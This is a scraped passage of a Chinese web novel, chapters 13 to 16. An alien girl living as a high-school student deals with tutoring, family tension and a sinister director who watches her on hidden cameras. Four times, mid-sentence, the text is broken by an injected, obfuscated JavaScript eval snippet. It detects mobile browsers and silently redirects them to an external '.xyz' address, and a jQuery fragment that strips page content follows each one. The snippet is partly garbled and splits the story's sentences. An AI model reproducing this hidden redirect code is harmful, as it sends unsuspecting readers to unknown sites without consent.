许缨也没强拉着她去,只让白草莓放学别着急走,一定要尝尝她做的蛋糕。
白草莓就对着这本书翻来覆去地研究,她读的书越多就越清晰地认识到地球的规律和秩序性。
比如冬天下雪,春天开花;她跟白蓝莓绑在一起跳下楼的话会同时摔在地上;赤道附近太平洋的海水温度异常升高就会召唤出神秘“小男孩”;被外国人问到“Howareyou?”的时候要记得回复“I''mfine,thankyou.Andyou?”
她感觉自己快要变成地球人的形状了,但是一直没能参透人类细腻的情感,这才是人类最有魅力的地方。
嘿嘿,也许等找到飞船的时候她就已经领悟了,跟真正的地球人没有区别。
嗯……算了,还是有区别吧,她还得回1223呢。
不过说真的,虽然她恢复意识才几个月的时间,生活的丰富程度远超在1
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15004427|161920||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
223的几百年,要是真到了分别的时候,她说不定还舍不得走了。
“滴滴滴。”
白草莓抬手按掉倒计时,收拾书包准备放学,下楼的时候许缨已经在下面等着了。二人并肩同行一段路后,白草莓接过蛋糕跟她挥手再见。
推开门,门框撞在风铃上,当当两声响。
“来了?这边。”
陈序拍拍软皮沙发招呼白草莓,桌面上摆满了习题册和参考书,看样子是等了很久了。
白草莓跟店主打了个招呼,背着书包小步跑过去坐下,摊开错题集,期待地看着陈序。
陈序接过来一看,好像上次教的是另一个白草莓,诧异道:“可以啊,几天不见你都学到函数和摩擦力了。”
陈序一边翻一边欣慰点头,她写的字也好了很多,至少再没有一个字写出仨字的架势:“找白澜亦给你补习过?”
“没有啊。”白草莓摇头,蓝莓他经常把自己关在房间里不出来,就算出来了也只会跟她说“书架这里到这里,全都看完”。
陈序默默抬眸,认真打量白草莓,这么一说,白家祖坟位置是不是百年难求吗?不然一家能出两个天才?
“言归正传。”陈序翻转错题集,指着其中一道说:“先看这道摩擦力,你首先得要在现实生活中理解它的受力方向,就那这块糖举例吧……”
陈序二指间松松夹着根铅笔,笔尖滑过纸张沙沙作响,浅灰色的箭头留在书页上,一个指向自己,一个指向白草莓。
白草莓托着下巴认真听他讲题,学了基础就是不一样,还能时不时提出更多问题。
讲完错题集,陈序又在她的习题册上圈了几道:“试着解一下,有问题问我。”
白草莓笑眯眯点头,她跟人沟通的时候总是直视对方的眼睛,是独一份的真诚,最能让陈序这种带着目的靠近的人忍不住偏移目光。
陈序垂下脑袋,把整个人埋进书堆里,里面尽是些淋巴细胞、巨噬细胞、抗体、补体、免疫耐受,但是这些国外的书可贵了,他买不起只能从图书馆里借,规矩也多,做笔记要当心留下痕迹。
难啃的免疫学和血淋淋的现实。
陈序微不可闻地叹了一声,甚至连风都没听见,但白草莓听见了,她瞧瞧偏头观察陈序,他神情镇定,面无表情,那一声叹息好像是错觉。
过了好一会,店主端上两杯热牛奶提醒他们俩注意休息,白草莓把刚刚许缨留给她的蛋糕切了一块给陈序。
“我这里有奶油蛋糕,分你一块尝尝,味道肯定很好吃。”
陈序笑笑,挖了一小块填进嘴里,奶油甜丝丝的,他的笑容却凝滞一瞬,又若无其事地嚼了嚼,吞下去。
白草莓眼神亮晶晶,双手托腮问他:“怎么样?”
陈序点头,昧着良心说:“谢了,味道很好。”
玻璃窗外的悠闲夜景被一辆忽然开过来的黑车挡住,喇叭响了两声,后排车窗降了一半,白澜亦招招手,示意白草莓上车。
“白草莓,回家了。”
白草莓看了眼时间,确实到了该结束补习的时候,一边点头一边手忙脚乱地收拾起东西来。
陈序把她散落的圆珠笔收捡好递过去,“这剩下的蛋糕你一定要给白澜亦尝尝。”
“没问题,一定会的。”白草莓抽空抬头回应他,信誓旦旦地保了证。
那就好。陈序在心里头坏笑。
“哦,对了……”
陈序突然想起来一件事,扯了草稿纸笔走龙蛇列了张书单:“我给你推荐了几套书,你可以买回去仔细研读。”
看着白草莓走到门口了又突然折返,白澜亦在车里等得有些不耐烦。
他怎么不知道白草莓现在跟陈序这么熟络了?
14. 14
因为上次的绑架事故,白草莓现在不能单独回家,刘管家负责接送她上下学,不过大多数时候这个车上不会有白澜亦在。
所以白草莓关上车门,第一件事就是对着白澜亦笑。
“蓝莓,好巧啊。”
巧?
他在车里等了她将近半小时,看她跟别的男生拖拖拉拉去而复返,见了面第一句话竟然不是“久等了”,而是“好巧啊”?
白澜亦磨了磨后槽牙,这外星人的脑回路是不太一样哈,幸好他不研究生物,不然一准把她按在实验台上解剖了,看看外星人的脑沟是不是比地球人少两条褶?
“白先生……你爸,难得回国一趟,马不停蹄安排了场推不掉的饭局,要求我们俩必须到场。”
他把平板熄屏,疲惫地靠进坐椅里:“到了地方,你少说话,把自己当哑巴。”
白澜亦说得话狠,但专门跑这一趟就是为了叮嘱她谨言慎行。
这次参加饭局的都是些大牛,尤其是还有生物医疗和航空航天的翘楚,要是白草莓再像上次那样贸然暴露自己的能力,那些人可不像他一样好糊弄。
“知道了。”白草莓规规矩矩坐好,表示自己把他的话听进去了。
车子逐渐提速,间隔的灯光十分规律地晃着白澜亦的眼睛,车厢里一时安静得只有呼吸声。
白澜亦忽然问:“针对药吃了吗?”
白草莓:“吃了。”
白澜亦又问:“康嘉乐没再找你麻烦吧?”
白草莓:“没有。”
白澜亦:“你跟陈序是什么关系?”
突然这么一问,反倒把白草莓给问蒙了:“我们……应该是什么关系?”
“哼。”白澜亦的冷哼有股“谅你也不敢如此”的味道,“没关系最好,记住你的身份。
“一个未成年的高中生。”
言外之意就是:不准谈恋爱。
“哦。”
虽然白草莓已经习惯白澜亦的聊天风格,但时常听不出让他的潜台词。
不过白草莓想说她才不是什么未成年,以往随便一次跃迁任务都是五十光年打底,按地球人的寿命算,她还比白澜亦大几岁嘞。
饭局安排在一个装修古朴的中餐厅里,大门口两个石狮子的脖子上都挂着圆滚滚的红绸花,威严又喜庆。
车辆滑进停车场,白草莓趴在窗框上看见它们,扭头问:“蓝莓,你说还有多久才过年啊?”
她只是在社媒里见过,从来没在现实中感受那种氛围,白澜亦脸也不抬地怼了一句:“还远得很,别好高骛远,过好当下。”
白草莓鼓了下腮,看向开车的管家:“那我问刘叔。刘叔,什么时候过年啊。”
刘叔听着他俩斗嘴,呵呵笑了两声:“今年除夕在一月底,你想过年等个大概三个月就行。”
“那可太好了。”白草莓过惯了一个人星际跃迁的日子,来地球以后最喜欢的就是热闹了,听说过年最热闹。
“有什么好的。”白澜亦不赞同她的话,暗自叹了口气,家里过不过年都是那样子,冷冷清清,像个冰笼子:“反正都是一个人。”
白草莓拍拍白澜亦的小臂,眨了眨眼,笑盈盈的:“可是今年有我陪着你呀,一定会很热闹的。”
白澜亦呼吸一滞,片刻后拨开白草莓的手,避开她的视线,嘴硬道:“我看是闹心吧。”
他低头系好西装扣子,推门下车,一眨眼的功夫已经整理好了情绪:“到了,下来。”
白草莓跟在白澜亦身后,学着他的样子理了理衣服,但她穿的是校服,怎么整理都没有白澜亦正式。
到了包厢,现在还没多少人来,服务员引导他们去休息室暂候。
就是没想到推开门还碰见了个老熟人。
康嘉乐原本在沙发上躺的四仰八叉,突然打开的门把他吓了一激灵,一屁股滑坐在地上,捂着尾椎哎呦几声。
等他反应过来要找人算账,一看是白澜亦,怎么净跟他杠上了,康嘉乐的邪火又蹭蹭往上涨,谁知白草莓突然歪着脑袋探出脸来,那些难听的话忽然就卡在嗓子眼里说不出来了。
康嘉乐咳了两声掩饰尴尬。
原因无他,白草莓打起人来是真疼啊。
他手撑沙发站了起来,眉头皱在一块,手背在身后悄悄揉着屁股:“你们俩怎么也来了?”
“要你管?太平洋警察。”
自从上次这个傻der□□白草莓之后,白澜亦就对他没有好言语,装都懒得装了,在对角沙发落座,离他越远越好。
反倒是白草莓往康嘉乐面前走了两步,惊喜地问:“诶,几天不见你当警察了?我有个问题想请教:要是你自己打自己,算袭警吗?”
康嘉乐:“……”还是那个他印象中的白草莓。
白澜亦你肯定诚心的,你找个妹妹专门来克我的是吧!
康嘉乐不语,只是一味把锅往白澜亦身上甩。
他冷笑一声,躺回沙发上,几根手指在屏幕上飞转,都是因为白澜亦突然开门,害得他摔了一跤还没抢到蓝,一边力挽狂澜反攻,一边出言讥讽。
“听说这次来的有C市航天局的领导,白澜亦,你不是老想进里头的地外科吗?这不得抓紧时间多给领导敬几杯酒,巴结巴结?不让人家凭什么提拔你?”
要是搁以前,白澜亦跟他讲话绝对不会超过两个回合,现在似乎点满了毒舌技能,一开口就停不下来了。
“康二少太客气了,你上比不过康大少,下比不过白草莓,我想到什么地方都能靠实力进,那酒还是留给你喝吧。我多喝几杯事小,要是你正好缺了这几杯没把领导喝满意,‘未能子承父业’的屎盆子是不是又要扣在我脑门上了?”
白澜亦还是太聪明,他清楚康嘉乐的弱点,每一句话都太扎心了,是直直往康嘉乐心窝里捅啊。
偏偏康嘉乐他还没话反驳,他确实经常给白澜亦找罪名,也比不过那个比他大十多岁的哥哥,子承父业更是有点难度。
不过这些东西白澜亦从前没说过,他还当白澜亦是个只会死读书的闷葫芦,现在活人感怎么这么强了?谁教他的?
就是白澜亦刚刚的话让他越想越气,没忍住对这个臭脸怪指指点点:“你亲妹滤镜别太重,我怎么就比不过白草莓了?”
白草莓本来看他俩唇枪舌战很有意思,谁知道这会子弹突然打向自己了:“我很厉害的,要跟我比比吗?”
现在比?现在比能比什么?比谁现场做一套试卷的正确率高?还是比他跟白草莓谁能把对方抡圆了砸在地上吗?
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15004428|161920||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
前者条件不充分,后者一眼秒答案。
诶,白家兄妹是什么游戏里面带光环的主角吗?他跟这俩人对上就只能当遍体鳞伤的反派npc?
不爽,怎么想都不爽。
康嘉乐一头扎进峡谷里不愿意看见这俩人。
白草莓跟白澜亦坐在一张沙发上,坐姿端正,不说话也没乱跑,谨言慎行,对于自己的承诺履行得非常严谨。
角落里的微缩摄像头调转方向,把白草莓的一举一动通通记录下来传输到一间小黑房子里。
一个中年男人穿着威严体面的制服匆匆走进来,他身姿挺拔,身后紧跟了几个白大褂,最后一齐在大屏幕上驻足。
观察半晌后,制服男沉声发问:“你说的人,就是她?”
其中一个白大褂作为代表,上前解答他的疑问:“没错,严局长。她叫白草莓,现在在绿江一私上学。”
严高贤鼻腔里发出一声嗤笑,不可思议地反问道:“上学?”
白大褂浑身一抖:“是的局长,请问您有什么指示?”
虽然星系观测中心只是私人机构,但它背后财力雄厚,甚至跟官方达成的合作也不少,他们这些人只是研究员,生怕哪里做的不好,惹怒研究所的大投资商。
“这就是他们想的办法?挺有意思。”严高贤缓缓褪去皮手套,将满手的疮疤露出来透气。
这是他反反复复无法痊愈的伤疤,也曾是他荣誉的象征,被他视为珍宝的无上勋章。
随后他压低身子,双手按在操控台上,死死盯住屏幕里的白草莓,像一只饿到极致的孤狼终于碰见孱弱的羔羊,目露凶光,随时准备出动,咬碎她的喉管。
“按老规矩,找人跟住她。我这儿……还有很多迷题等着她解惑。”
休息室里,白草莓捏捏鼻子,忽然打出一个喷嚏来,她转头,又问白澜亦些有的没的:“蓝莓,我打一下喷嚏是不是有人在想我啊?”
坚定的唯物主义支持者·白澜亦投来无语的目光:“你觉得呢?”
康嘉乐贱嗖嗖地鹦鹉学舌,摇着肩膀阴阳怪气地复述:“诶呀呀,你觉得呢?”
白澜亦无语地扫了他一眼,懒得理会,又看了眼白草莓:“你回去把书柜第三层的书再看一遍,多读点书……”
没等白草莓点头,康嘉乐又开始扭捏造作:“诶呀,多读点书。”
白澜亦是没见过他这模样,就好像无缘无故踩中一坨狗屎,被他粘上,倒霉之余就单纯恶心。
“康嘉乐,你要不去医院挂个脑科?”
“诶,我就不。”
康嘉乐误打误撞弄明白白澜亦不吃哪套,正面打不赢白,他就迂回路线,恶心死他。
门突然又被打开,走进来位彬彬有礼的服务员,一场没有硝烟的战争才算停止。
“几位客人,准备入座了,请跟我来。”
见他们要离开休息室,小黑房子里的人开始切换监控器。
“滋——”。
极其微小的电流切断声被白草莓捕捉到,她忽然转头看向天花板角落,横梁那里用腻子粉塑形成一簇簇栩栩如生的鲜花,洁白无瑕。
严高贤跟屏幕里的白草莓对上视线,咧开一个略显阴森的笑容。
“事情,更有意思了。”
15. 15
白草莓忽然驻足,白澜亦脚步一顿,顺着她的视线望过去,却什么都没看见,问道:“怎么了?”
“没事。”白草莓回过神来,温声解释道:“好像是空调温度开太低了,我有点冷。”
白澜亦睫毛轻微扫过白草莓,她校服里面只有一件衬衫,光洁的脖颈露在外面没有布料包裹,刚刚还坐在风口对着吹,她不冷谁冷。
“唰——”一条干净厚实的毛毯被抖开,把白草莓包了个严实。
“我说过了:‘再生病,没人管你。’”白澜亦头也不回往外走。
白草莓披着毯子,乐呵呵跟上白澜亦,一边走一遍观察,这地方装修得低调奢华,古董花瓶里插着名贵的花,一路上都飘着暗香,直把白草莓闻得快醉倒了。
服务员停在长廊外,摊手给他们指路:“各位,包厢就在前面,右转就是。”
康嘉乐原本是打头走的,只是刚走两步似乎听见什么动静立马退回来,躲在白家兄妹俩后面贴着墙站。
长廊那边传来密集的脚步声,越来越近,显然有不少人。
“严局,您好不容易来一趟A市,一顿饭给您接风洗尘不算什么事的。”
“康主任,劳您费心了,中心的事情确实比较多,咱们见一面聊聊天就行了,严局时间紧,现在就得走了,明天早晨还有个会呢。”
“是是是,徐秘书说得对。那白教授呢?您好不容易回来一趟,留下来吃个饭见见儿女呗。”
“老康啊,实验室的情况你也清楚,忙起来水都喝不了一口,哪儿吃得了饭呐。再说了咱们这么卖力工作,不也是为儿女打拼吗?”
白草莓有些沮丧的垂下头,说实话,自打她被收养以来,跟父母见面的机会确实不多,但是当面听见爸爸这么说,她心里有些说不出的难过。
半天没见白草莓动弹,白澜亦侧过头观察她。
白草莓的眼神藏在细密睫毛投射的阴影底下,看不清有没有泪光,但他还是说:“有什么好哭的?”
哪有?!
于是白草莓昂起头自证:“我可没哭。”
“笃笃笃。”脚步声越来越近。
她越过白澜亦的肩膀看过去,只见一个身穿酷黑西装的男人大步流星地走过来,个子很高,步子迈得又稳又快,所有人都得加快脚步才能跟上他的步频。
这人剃了寸头,露出头皮上多道肤色伤疤,戴了只墨镜,遮住他上半张脸,把他整个人衬得阴郁万分。
随着这人走近,白草莓只觉得浑身的鸡皮疙瘩都要竖起来了,他浑身透出来的冰凉像潮水一样把她包裹,连毛毯都没法留住一丝暖意。
这男人似乎有所觉察,在几人跟前停下:“不介绍一下吗?这几位小朋友是?”
康扬快步上前,一把把康嘉乐从白澜亦身后拽了出来,忙不迭介绍给严高贤:“严局,这是犬子嘉乐。嘉乐,快跟严叔叔问好。”
“严叔……”
康嘉乐的话被严高贤的声音盖了过去:“那这两个就是白教授家的孩子了,澜亦是吧?”
严高贤挑高了墨镜,斜睨了身后的白和安,白和安目光有些闪躲,最终点点头承认:“是叫澜亦。”
严高贤将手搭在白澜亦肩上拍了拍,语气放轻,半开玩笑地说:“白教授培养了个省心的儿子。听说你以后打算进航天局,怎么不来我们观测中心啊?”
白澜亦嘴角扯出个淡笑来:“我就是个普通高中生,观测中心人才辈出,恐怕我想进还进不去呢。”
“不要妄自菲薄啊,我还等着你们一家三口在观测中心团聚呢。”
一家三口?白草莓有点失落,为什么不带上她呢?
严高贤的话让白澜亦心里腾起疑云,没顾得上考虑什么“三口”“四口”的问题呢。
他爸妈一直在生物研究所工作,什么时候跳槽去了星系观测中心?观测中心自己的生物学家不够用吗?
阴冷的感觉越来越明显,白草莓默默看着严高贤,连呼吸都不由得放缓了,尽管她努力降低自己的存在感,严高贤锐利的眼神还是落在了她的身上。
好在严高贤没打算继续逗留,只是弯起嘴角朝她笑了笑。
“下次见,小草莓。”
小草莓。
这明明是异常可爱的,非常能表示亲近的称呼,但是白草莓还是忍不住打了个哆嗦,裹紧了毛毯。
这感觉太不对了,白草莓从来没有感受到这么强势的压迫感。
严高贤站直身体,戴好墨镜,仿若无事一样继续往前走。
白和安走在人群当中,路过儿女的时候朝他们点了点头,追上众人,身影逐渐消失在拐角。
康扬路过几人,亦是含笑点头,随后看见康嘉乐,他恨铁不成钢地指了指二字,一句话没说但似有千言万语。
“完了,”康嘉乐往后靠上白墙,慢慢滑坐进白家兄妹的阴影里,悲痛欲绝:“下个月生活费没了不说,没准还得挨顿揍。”
白草莓向他投来惋惜的目光,白澜亦居高临下拿鼻孔看他。
康嘉乐难过极了,竟然没甩锅给白澜亦,只是默默偏过头,为未来的自己默哀。
“现在我真是上比不过康嘉承,下比不过白草莓了。”
白草莓超绝好心态,蹲在康嘉乐跟前,把毛毯盖在他身上:“我本来就很厉害,比不过我不用难过的。”
太狠了,不愧是兄妹,白澜亦字字往他肺管子里戳,白草莓青出于蓝胜于蓝,笑着戳,杀伤力翻倍。
康嘉乐看着白草莓那张圆润笑脸,心里头滴血,把毛毯一掀扶着墙站起来就往外面跑。
白澜亦被他撞了一下回过神来,刚刚的事情还没想明白,好在不需要在饭桌上浪费时间,他预备直接打道回府,弯下腰把毛毯捡起来搭在小臂上。
“回家了。”
“好啊,回家。”白草莓攀着他的手臂站起身,像往常贴在许缨身上那样往白澜亦肩膀上一靠。
白澜亦浑身戒备地一缩,往边上撤了一步,脸色有些严肃:“白草莓,我今天就教教你什么是‘男女授受不亲’。”
说罢,白澜亦在白草莓脑袋上敲了一下。
不轻不重,白草莓眯了眯眼,她感受到空气没有变化,说明白澜亦根本没生气。
“知道啦。”
刘叔的车在停车场,没想到出去这一趟不到半小时就回来了。
白澜亦上了车,伸手去拿自己的平板,却摸到了白草莓的笔记本。
他随手翻了翻,笔记第一页到第
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15004429|161920||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
二十页,见证了白草莓从1+1=2学到三角函数,从物理的定义入门普物力热光电,他当时随口说的玩笑话,真的有被白草莓放在心里。
白澜亦扯起嘴角自嘲一笑,连捡来的便宜妹妹都知道履行承诺,可是跟他血脉相连的大人们却总是学不会。
学不会做不到的事情就不要答应,学不会一次次失约会伤人心。
白草莓托着脑袋,目光在白澜亦和她的笔记本之间来回转。
究竟是因为她进度太慢还是错误太多?为什么白澜亦翻开这本笔记就开始难过?
“别难过。”
“啪。”白澜亦将笔记合上,垂着头眨了眨眼,偏头看向窗外,冷冷地说:“白草莓,有些话是可以藏在肚子里,不说出来的。”
白草莓原来常常误解别人的话,她以为是自己不够精通地球语,现在才清楚是人类喜欢把话藏起来不说,叫人猜来猜去的。
等下了车,刘叔叫的餐已经送到家了,白澜亦看了眼餐桌说自己不饿,径直往楼上走。
白草莓追上去,把蛋糕挂在白澜亦小指上,强制他收下:“人类混合食物平均胃排空时间是4-6小时,现在已经是晚上九点钟,你不吃东西会胃穿孔。”
生物学得挺好,让她看的书应该是都看了。
白澜亦攥紧指头,站在楼梯上没转头:“白草莓,如果哪天你找到飞船了,还会回地球吗?”
他问的是白草莓还会不会回来,不是她会不会走,像是已经默认白草莓找到飞船就一定会离开。
但是“会不会”“能不能”“行不行”这种不确定的事情只有地球人会考虑,白草莓只会服从命令。
如果今后任务跃迁航线的起终点都不在地球,那她大概再也不会回地球。
可是白蓝莓说有些话可以藏在肚子里不讲出来,为什么她不开口,四周的悲伤还是浓得化不开呢。
白澜亦肩膀重重一沉,仰头叹了一口气,似乎看穿了白草莓的心思:“有些话就算不说,也代表了答案。”
静默两息后,白澜亦离开前说:“我会尽力帮你找飞船。”
月光从窗框照进来,盖在灯光上面,皎洁与金黄交融,白草莓顺势在最高处的台阶上坐下,白澜亦以前最爱关了灯坐在这儿冥想。
她摊开自己的手心,用力攥紧,淡淡的乳白色光圈荡开,流水一样往外扩散。
她不是地球人,也永远成为不了地球人。
她是1223星球最敬业最勇敢的飞船驾驶员。
她是纱菈荞,一定要找到营养液,开着飞船回去的外星人。
白草莓也不清楚自己胸口怎么闷闷的,这种闷跟早晨那会儿积累能量的闷不一样,它从胸口出发,把酸胀感蔓延全身,细菌似的,好像无药可医。
她拍了拍脸颊,告诫自己振作起来,1223的各位都等着她回家呢。
回家……
白澜亦合上房门,坐在书桌前拆开蛋糕盒,挖了一块放进嘴里,又拼命眨眼睛将泪水逼回去。
他才不是这么感性的人,被忽视情感需求也不是一天两天的事,他的心早就跟金刚石一样硬了。
都是因为这块破蛋糕。
“笨蛋白草莓,买的蛋糕也是苦的。”
16. 16
白草莓昨天晚上做了个非常真实的梦,梦里她找到飞船,带着所有东西回到了1223,长老拍了拍她的肩膀让她好好干,再飞两百趟就给她颁发“最勤劳”的头衔。
她就坐进飞船里,干呐,干呐,一晚上都没休息过,起床了也累得直打哈欠,还跟新头衔失之交臂。
只是二楼的走廊倒是热闹,她从拐角处路过都能听见嬉闹声,忍不住趴在墙根看热闹。
没办法,白草莓以前在1223工作的时候哪有这么多机会听八卦、看热闹?
“好好好,一个一个来。”
陈序手里拎着满登登的点心从人群里站起身,他精瘦笔挺,比周围女生都高处大半个头,格外显眼。
“不用着急,人人都有,别说这超难买的樱花白桃提拉米苏,找我代购飞机都保准给你买到。”
除了偶尔才有的“篮球场七百块扣杀服务单”,陈序大多数时候都是靠这种零碎的小活计挣钱,遇到慷慨的还会给小费。
陈序一边吆喝着一边把手里的蛋糕一个个派出去,偶然抬头,发现白草莓躲在角落里眼睛直勾勾盯着他手里的提拉米苏。
被发现之后就朝他笑了笑,然后默默像乌龟一样缩回去。
白草莓回到教室,里面空荡荡的没坐几个人,杨筝应该又是一大早就来了,坐在靠窗的位置,手边已经摊开好几本书了。
虽然她跟白草莓之间闹过不愉快,但是白草莓是真心觉得杨筝还蛮有毅力的,就是脾气有点怪。
白草莓这么想着,不小心碰倒了许缨的水杯,好死不死这水杯质量奇佳,当当当当,一连在地上弹了好几回,杨筝的死亡目光瞬间就从书上挪到白草莓脸上。
“我知道的,我小声点。”
白草莓遇到事情总是会先笑笑,一开始总会让人觉得她行为处事有点懒散随意,但看得久了,也就没人会专门往笑脸上扇巴掌,尤其是白草莓这样一张粉嘟嘟白生生的脸。
杨筝握着笔,深呼吸后道:“知道就行。”
白草莓松了口气,趴在桌上补觉,今天一早白澜亦就要飞去C市,刘叔就顺便把她也送来学校了。
好困呐,希望这次不要做梦,就算做了也不要再让她继续开飞船了。
“笃笃。”
桌上忽然被人敲了两下,白草莓缓慢复苏,伸了个懒腰,许缨看她趴着睡半天也没个要醒的迹象,怕白草莓又发病了没人察觉。
白草莓呼吸均匀顺畅,除了脸上压出的几道红印没什么别的问题。
看她缓慢抬头,许缨追问:“没事吧?”
许缨对她的身体状况总是很担心。
“我没问题。”白草莓拍拍脸颊清醒过来,环顾四周发现老师没来。
“幸好老师还没来,不然你肯定要被点两句。”
说完,许缨从书包里掏出一瓶牛奶递给她:“喏,你上次不是很喜欢喝这牌子的牛奶吗?我爸前两天又让他们送了好几箱。”
“呜呜呜,许缨,你可真好。”白草莓拧开牛奶咕咚咕咚喝了两口,顿时觉得一股清凉顺着喉咙滑进胃里。
说曹操曹操到,走廊外面传来班主任的脚步声,她是个女强人,说不上吹毛求疵,但是对学习抓得比较紧。
“先说个好消息。”
班主任将手中一叠手册分给第一排的人,让他们挨着往下传。
“过几个月C市会举办科研分享会和先进科技展览,学校争取了一些志愿者名额,咱们高一年级也有。”
班主任说到这里,底下响起了一片惊呼声,要知道这种名额一般都是从高三往下排,轮到高二就停了,几乎没有高一的事,谁知道竟然还给高一分了名额。
班主任抬手示意他们压低声音,报了个说不上有多坏的坏消息:“但是分给咱们年级的不多啊,也就一个。为了公平起见啊,学校决定安排一场测试选拔,还有奖金喏。”
“嗐。”
底下又是一片哀叹,不给奖金还好说,大家都能争一争,给了奖金,这下就只有高一本部排行榜前几位有希望喽,尤其是那个陈序,肯定不会放过这些钱。
许缨百无聊赖地翻着册子,转头问白草莓:“这研讨会含金量很高。我了解的几个大牛都会参加,你有往这方面发展的打算吗?”
白草莓摇摇头,她确实不像许缨和白澜亦一样热衷参加这样的研讨会,她宁愿躺在图书馆阳光房里晒太阳,也不去听枯燥的讲话。
“也是,有白澜亦珠玉在前,你想跟他并肩确实有点难度。”许缨越想越觉得自己说的有道理,灵光一闪,又说:“那你有没有考虑过继承你爸妈的衣钵,钻研生物学?”
“生物学?”
白草莓思索了两秒钟,然后坚决地摇了摇头。
地球上有很多虫子都以植物为食,算是她的天敌,白草莓暂时还做不到把玩天敌。
再往深处想想,要是她不小心把虫卵带回了1223,那里全是植物没有天敌,要是任由它生长,到时候倒霉的就该是白草莓的同类了。
“也挺好,看来你家没有跟随父母脚步的传统。”许缨合上册子,短叹一声:“学校里头有陈序在,名额不好争啊。”
不如她回家问问老爸有没有什么内部票之类的,不当志愿者近距离接触,当个观众也没问题啊。
讨论声渐渐小了,班主任清了清嗓子,开始今天的课程。
高一的学习进度算是平缓,没有填鸭式教育,揠苗助长,反而是因为班级内有国际部的学生存在,知识点讲得基础又细致。
白草莓就是个中受益者,哪怕不用举手请教,她也能看懂奇怪的运算符号,从当之无愧的吊车尾慢慢跟众人缩小差距。
“看来陈序教得不错。”许缨把白草莓的进步都看在眼里:“下周有个测验,正好看看你的实力。”
“进步一定很大,因为我学得也很不错。”白草莓骄傲地挺起胸脯,夸陈序没问题,但是她也很厉害。
今天的课比较轻松,下午还有节音乐课。
白草莓一直搞不明白什么音符代表什么音,该高还是低,毕竟她来地球之前根本没有声带这个器官,从来都是一边看着许缨的嘴型一边滥竽充数,每次上课都能把许缨笑得不行。
虽然白草莓不会唱歌,但她确实清楚在人们张口歌唱的时候,空气里都是欢欣的情绪。
音乐是人类治愈坏情绪的良药。
白草莓认同地想,伸手推开玻璃门,铃铛被撞响,柜台后面立刻传来老板的声音:“欢迎光临‘重逢’,您需要点什么?”
张扬的辫尾在柜台边一上一下。
“老板,是我。”白草莓把书包放在老位置,踱步到柜台。
老板从柜子底下抬起头,看见是白草莓还吃了一惊。
“诶?你怎么来了?”
平常这位老主顾只会在下午放学后到来,老板知道她是跟陈序约好了来补习,但是刚刚陈序才打来电话说今天来不了了。
怎么?陈序没跟她讲吗?
白草莓奇怪地歪头问老板:“我不能来吗?”
老板呵呵一笑,“你平常跟陈序都是前后脚到,我习惯把你俩捆在一起看了。他今天不来,你看看要试试其他的饮品吗?”
“他不来?”
白草莓诧异极了,昨天还约好了今天继续补习,怎么说不来就不来了……
“对,就刚刚打来的电话。”
老板话音刚落,白草莓的手机就震动起来,掏出来一看,果然是陈序打来的电话。
白草莓接通电话:“喂,陈序,我在咖啡店。”
“……”
陈序的呼吸声很重,比跑完1500的那些男同学喘得还要厉害,他听了白草莓的话静了两秒钟
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15004430|161920||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,重重叹了口气,像是下定了某种决心:“那你等我半小时。”
尾音刚落,不等白草莓做出回应,对方率先结束了通话。
陈序把手机装进书包里,随手甩在一边,活动起手腕来。
他面前堵了几个人,认出来是上回因为篮球比赛结下梁子的人。
没办法,太有实力的人就是容易让人记恨。
“口气不小啊陈序,半个小时就想走?”
“其实还有一个选择,这里有一千块,只要你跪下来一边扇自己耳光一边叫我们几个爷爷,我保你完好无损地出去。”
陈序低低叹了口气,随即冷笑一声:“想当我爷爷?上一个当我爷爷的人已经死了。”
不知道的人还当这是地狱笑话,知道的人都清楚是陈序在自揭伤疤,化愤怒为肾上腺素。
“真是不知好歹,上!”
*
“叮铃。”
半个小时后,咖啡店的门铃准时被碰响。
店里等待许久的两人同时往门口看,只见陈序好端端站在那儿,手指勾着书包紧贴在后背上,耍帅般冲两人昂了下脑袋。
